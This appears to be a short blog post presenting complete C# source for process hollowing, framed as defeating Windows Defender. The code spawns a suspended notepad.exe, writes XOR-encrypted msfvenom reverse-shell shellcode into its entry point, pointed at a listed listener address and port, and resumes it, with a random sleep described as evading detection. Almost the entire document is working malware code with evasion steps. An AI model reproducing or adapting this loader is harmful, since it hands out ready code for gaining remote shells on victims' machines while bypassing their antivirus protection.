windefender? more like windisabled

2024-01-02

Process Hollowing

We can finally use a technique called Process Hollowing, where a victim process is created in a suspended state, its original process (e.g.: notepad.exe) is carved out from memory, a malicious binary gets written instead and the program state is resumed to execute the injected code. Here we will open a simple reverse shell (payload: windows/x64/shell_reverse_tcp) just to show the execution. The entire code would be like this (C#):

using System;
using System.Runtime.InteropServices;

namespace Process_Hollowing
{
    class Program
    {
        [DllImport("kernel32.dll")]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, ref IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
        [DllImport("kernel32.dll")]
        public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
        [DllImport("ntdll.dll")]
        public static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern uint ResumeThread(IntPtr hThread);
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr ExitStatus;
            public IntPtr PebAddress;
            public IntPtr AffinityMask;
            public IntPtr BasePriority;
            public IntPtr UniquePID;
            public IntPtr InheritedFromUniqueProcessId;
        }
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }
        public static class CreationFlags
        {
            public const uint SUSPENDED = 0x4;
        }
        public const int PROCESSBASICINFORMATION = 0;
        public static void sleep()
        {
            var rand = new Random();
            uint randTime = (uint)rand.Next(10000, 20000);
            double decide = randTime / 1000 - 0.5;
            DateTime now = DateTime.Now;
            Console.WriteLine("[*] Sleeping for {0} seconds to evade detections...", randTime / 1000);
            Thread.Sleep((int)randTime);
            if (DateTime.Now.Subtract(now).TotalSeconds < decide)
            {
                return;
            }
        }
        public static void Hollow()
        {
            PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();
            STARTUPINFO startup_info = new STARTUPINFO();
            PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
            string path = @"C:\\Windows\\System32\\notepad.exe";
            bool procINIT = CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, CreationFlags.SUSPENDED,
                IntPtr.Zero, null, ref startup_info, ref proc_info);
            if (procINIT == true)
            {
                Console.WriteLine("[*] Process create successfully.");
                Console.WriteLine("[*] Process ID: {0}", proc_info.dwProcessId);
            }
            else
            {
                Console.WriteLine("[-] Could not create the process.");
            }
            //msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.183 LPORT=443 -f csharp EXITFUNC=thread --encrypt xor --encrypt-key z
            byte[] buf = new byte[460] {0x86,0x32,0xf9,0x9e,0x8a,0x92,
            0xba,0x7a,0x7a,0x7a,0x3b,0x2b,0x3b,0x2a,0x28,0x2b,0x2c,0x32,
            0x4b,0xa8,0x1f,0x32,0xf1,0x28,0x1a,0x32,0xf1,0x28,0x62,0x32,
            0xf1,0x28,0x5a,0x32,0xf1,0x08,0x2a,0x32,0x75,0xcd,0x30,0x30,
            0x37,0x4b,0xb3,0x32,0x4b,0xba,0xd6,0x46,0x1b,0x06,0x78,0x56,
            0x5a,0x3b,0xbb,0xb3,0x77,0x3b,0x7b,0xbb,0x98,0x97,0x28,0x3b,
            0x2b,0x32,0xf1,0x28,0x5a,0xf1,0x38,0x46,0x32,0x7b,0xaa,0xf1,
            0xfa,0xf2,0x7a,0x7a,0x7a,0x32,0xff,0xba,0x0e,0x1d,0x32,0x7b,
            0xaa,0x2a,0xf1,0x32,0x62,0x3e,0xf1,0x3a,0x5a,0x33,0x7b,0xaa,
            0x99,0x2c,0x32,0x85,0xb3,0x3b,0xf1,0x4e,0xf2,0x32,0x7b,0xac,
            0x37,0x4b,0xb3,0x32,0x4b,0xba,0xd6,0x3b,0xbb,0xb3,0x77,0x3b,
            0x7b,0xbb,0x42,0x9a,0x0f,0x8b,0x36,0x79,0x36,0x5e,0x72,0x3f,
            0x43,0xab,0x0f,0xa2,0x22,0x3e,0xf1,0x3a,0x5e,0x33,0x7b,0xaa,
            0x1c,0x3b,0xf1,0x76,0x32,0x3e,0xf1,0x3a,0x66,0x33,0x7b,0xaa,
            0x3b,0xf1,0x7e,0xf2,0x32,0x7b,0xaa,0x3b,0x22,0x3b,0x22,0x24,
            0x23,0x20,0x3b,0x22,0x3b,0x23,0x3b,0x20,0x32,0xf9,0x96,0x5a,
            0x3b,0x28,0x85,0x9a,0x22,0x3b,0x23,0x20,0x32,0xf1,0x68,0x93,
            0x2d,0x85,0x85,0x85,0x27,0x33,0xc4,0x0d,0x09,0x48,0x25,0x49,
            0x48,0x7a,0x7a,0x3b,0x2c,0x33,0xf3,0x9c,0x32,0xfb,0x96,0xda,
            0x7b,0x7a,0x7a,0x33,0xf3,0x9f,0x33,0xc6,0x78,0x7a,0x7b,0xc1,
            0xba,0xd2,0x7a,0xcd,0x3b,0x2e,0x33,0xf3,0x9e,0x36,0xf3,0x8b,
            0x3b,0xc0,0x36,0x0d,0x5c,0x7d,0x85,0xaf,0x36,0xf3,0x90,0x12,
            0x7b,0x7b,0x7a,0x7a,0x23,0x3b,0xc0,0x53,0xfa,0x11,0x7a,0x85,
            0xaf,0x2a,0x2a,0x37,0x4b,0xb3,0x37,0x4b,0xba,0x32,0x85,0xba,
            0x32,0xf3,0xb8,0x32,0x85,0xba,0x32,0xf3,0xbb,0x3b,0xc0,0x90,
            0x75,0xa5,0x9a,0x85,0xaf,0x32,0xf3,0xbd,0x10,0x6a,0x3b,0x22,
            0x36,0xf3,0x98,0x32,0xf3,0x83,0x3b,0xc0,0xe3,0xdf,0x0e,0x1b,
            0x85,0xaf,0x32,0xfb,0xbe,0x3a,0x78,0x7a,0x7a,0x33,0xc2,0x19,
            0x17,0x1e,0x7a,0x7a,0x7a,0x7a,0x7a,0x3b,0x2a,0x3b,0x2a,0x32,
            0xf3,0x98,0x2d,0x2d,0x2d,0x37,0x4b,0xba,0x10,0x77,0x23,0x3b,
            0x2a,0x98,0x86,0x1c,0xbd,0x3e,0x5e,0x2e,0x7b,0x7b,0x32,0xf7,
            0x3e,0x5e,0x62,0xbc,0x7a,0x12,0x32,0xf3,0x9c,0x2c,0x2a,0x3b,
            0x2a,0x3b,0x2a,0x3b,0x2a,0x33,0x85,0xba,0x3b,0x2a,0x33,0x85,
            0xb2,0x37,0xf3,0xbb,0x36,0xf3,0xbb,0x3b,0xc0,0x03,0xb6,0x45,
            0xfc,0x85,0xaf,0x32,0x4b,0xa8,0x32,0x85,0xb0,0xf1,0x74,0x3b,
            0xc0,0x72,0xfd,0x67,0x1a,0x85,0xaf,0xc1,0x9a,0x67,0x50,0x70,
            0x3b,0xc0,0xdc,0xef,0xc7,0xe7,0x85,0xaf,0x32,0xf9,0xbe,0x52,
            0x46,0x7c,0x06,0x70,0xfa,0x81,0x9a,0x0f,0x7f,0xc1,0x3d,0x69,
            0x08,0x15,0x10,0x7a,0x23,0x3b,0xf3,0xa0,0x85,0xaf};
      
            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)(buf[i] ^ (byte)'z');
            }
            uint retLength = 0;
            IntPtr procHandle = proc_info.hProcess;
            IntPtr threadHandle = proc_info.hThread;
            ZwQueryInformationProcess(procHandle, PROCESSBASICINFORMATION, ref pbi, (uint)(IntPtr.Size * 6), ref retLength);
            IntPtr imageBaseAddr = (IntPtr)((Int64)pbi.PebAddress + 0x10);
            Console.WriteLine("[*] Image Base Address found: 0x{0}", imageBaseAddr.ToString("x"));
            byte[] baseAddrBytes = new byte[0x8];
            IntPtr lpNumberofBytesRead = IntPtr.Zero;
            ReadProcessMemory(procHandle, imageBaseAddr, baseAddrBytes, baseAddrBytes.Length, out lpNumberofBytesRead);
            IntPtr execAddr = (IntPtr)(BitConverter.ToInt64(baseAddrBytes, 0));
            byte[] data = new byte[0x200];
            ReadProcessMemory(procHandle, execAddr, data, data.Length, out lpNumberofBytesRead);
            uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
            Console.WriteLine("[*] e_lfanew: 0x{0}", e_lfanew.ToString("X"));
            uint rvaOffset = e_lfanew + 0x28;
            uint rva = BitConverter.ToUInt32(data, (int)rvaOffset);
            IntPtr entrypointAddr = (IntPtr)((UInt64)execAddr + rva);
            Console.WriteLine("[*] Entrypoint Found: 0x{0}", entrypointAddr.ToString("X"));
            IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
            WriteProcessMemory(procHandle, entrypointAddr, buf, buf.Length, ref lpNumberOfBytesWritten);
            Console.WriteLine("[*] Memory written. Resuming thread...");
            ResumeThread(threadHandle);
        }
        static void Main(string[] args)
        {
            sleep();
            Hollow();
        }
    }
}